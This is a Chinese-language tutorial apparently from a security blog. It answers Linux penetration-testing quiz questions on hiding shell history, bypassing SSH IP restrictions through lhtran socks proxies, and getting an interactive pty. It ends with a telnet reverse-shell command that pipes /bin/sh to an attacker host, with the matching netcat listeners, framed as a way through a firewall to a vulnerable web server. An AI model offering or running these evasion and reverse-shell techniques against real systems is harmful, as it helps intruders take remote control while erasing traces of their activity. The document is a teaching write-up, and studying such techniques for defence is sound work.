經(jīng)典的Linux滲透測(cè)試問(wèn)題
此攻略中的題目收集于Wooyun zone,每道題其實(shí)都有一些不同的解法,且本套題中有不少題的題目寫(xiě)的不是很清晰,容易產(chǎn)生誤解。本題解僅作拋磚引玉,希望有其他解答方案的同學(xué)可以留言共同探討。
1、登錄系統(tǒng)如何不讓記錄歷史操作命令?
1.修改/etc/profile文件將HISTSIZE = 1000為0或1 # 91ri.org注:HISTSIZE 是環(huán)境變量中用于設(shè)置可以保存的歷史命令條數(shù),設(shè)置為0便不會(huì)保存。小編***見(jiàn)到此題目是在wooyun zone 但zone上面的回答都是下面的2,3兩種方案,實(shí)際上***題意的應(yīng)該是修改環(huán)境變量這種。
2.或者清除用戶主目錄路徑下, bash_history
3.立即清空歷史命令的歷史記錄
history -c
4.bash執(zhí)行的命令不是立即命令名稱(chēng)寫(xiě)入到歷史文件中,而是存儲(chǔ)在內(nèi)部緩沖區(qū),因此也將等bash退出時(shí)一并寫(xiě)入。
但是,你可以調(diào)用的歷史w’的命令bash立即更新歷史文件。
history -w
2、ssh 限制了ip登錄,要求ssh登錄,如何處理?
如果確認(rèn)被過(guò)濾了,并且你有一個(gè)shell的話,可以先在這個(gè)機(jī)器里跑個(gè)lhtran.c做一個(gè) socks proxy,如果端口都被過(guò)濾了,就再用一次lhtran回連一個(gè)socks proxy,這個(gè)時(shí)候你可以試試用這個(gè)代理登錄他的ssh,如果好運(yùn)的話(allow里寫(xiě)了本機(jī)的地址),你可以進(jìn)入系統(tǒng)。
#91ri.org注:wooyun上有人說(shuō)可以使用iptable轉(zhuǎn)發(fā)端口突破,似乎如果只有個(gè)user的shell,不能操作iptable吧。也許小編知識(shí)水平不夠高,不知各位讀者有什么想法?歡迎留言討論,這個(gè)問(wèn)題出的不是很?chē)?yán)謹(jǐn),應(yīng)該有其他方法。
3、在ssh后門(mén)里看不到對(duì)方是否登錄的情況下,用哪個(gè)命令可以準(zhǔn)確顯示出來(lái)?
可以嘗試通過(guò)linux下的w和who命令來(lái)查看。
關(guān)于w和who命令的用法可參考《Linux中W與Who命令的使用》
4、如何獲取真正的tty
解決這道題我們要先知道兩個(gè)前置知識(shí),tty與console有什么區(qū)別:
1. console是輸出設(shè)備,tty是字符設(shè)備
2. console是虛擬設(shè)備,映射到真正tty上面
不過(guò)這題作者似乎寫(xiě)的不是很明白,小編按題意給出個(gè)人理解,大家自行參考。
解法1:
[test@localhost ~]$ tty /dev/tty2
解法2(wooyun@壞蝦):
python -c 'import pty; pty.spawn("/bin/sh")'
解法3:
[test@localhost ~]$ who

5、如何使用telnet進(jìn)行反向連接
這道題可難為我們團(tuán)隊(duì)的同學(xué)了,網(wǎng)上的資料說(shuō)這個(gè)無(wú)法實(shí)現(xiàn),而且題目感覺(jué)寫(xiě)的不清晰,我們做了2天才解決這個(gè)問(wèn)題。
telnet反向連接在實(shí)戰(zhàn)中的作用:
案例1:黑客試圖獲取某工業(yè)級(jí)數(shù)據(jù)包檢測(cè)防火墻或者路由器之后(基于路由的防火墻,不代理任何服務(wù))的一臺(tái)UNIX的系統(tǒng)的WEB服務(wù)器的訪問(wèn)權(quán)。防火墻僅對(duì)外網(wǎng)開(kāi)放了80及443,這臺(tái)WEB服務(wù)器存在phf漏洞(phf漏洞是什么自行腦補(bǔ)),黑客可遠(yuǎn)程對(duì)該web服務(wù)器執(zhí)行命令。此時(shí)就可以通過(guò)unix自帶的telnet獲取到一個(gè)交互式的SHELL。(91ri.org補(bǔ)充:因?yàn)橹圆挥肗C是因?yàn)榉?wù)器一般都有安裝telnet,且很少受到限制。而connect又是從目標(biāo)主機(jī)中發(fā)起,所以可以達(dá)到穿透防火墻及內(nèi)網(wǎng)的作用。)
環(huán)境假設(shè):
target ip : 192.168.128.105
hacker ip:192.168.128.100
telnet 反向連接命令:
target :
/usr/bin/telnet 192.168.128.100 80 |/bin/sh |/usr/bin/telnet 192.168.128.100

hacker:
/opt/netcat/bin/nc -l -n -v -p 80 /opt/netcat/bin/nc -l -n -v -p 25


命令說(shuō)明:實(shí)際上我們是將telnet連接到hacker的80端口的NC上,為了與傳統(tǒng)的unix的輸入輸出機(jī)制保持一致,我們通過(guò)標(biāo)準(zhǔn)輸出即鍵盤(pán)通過(guò)管道輸給了Bourne shell。而由/bin/sh 執(zhí)行命令的結(jié)果再通過(guò)管道輸出telnet,并返回到hacker的25端口的NC上。
之所以選擇80和25是因?yàn)榇蠖鄶?shù)防火墻都允許它們向外訪問(wèn),假如沒(méi)有防火墻,那么選什么端口都可以。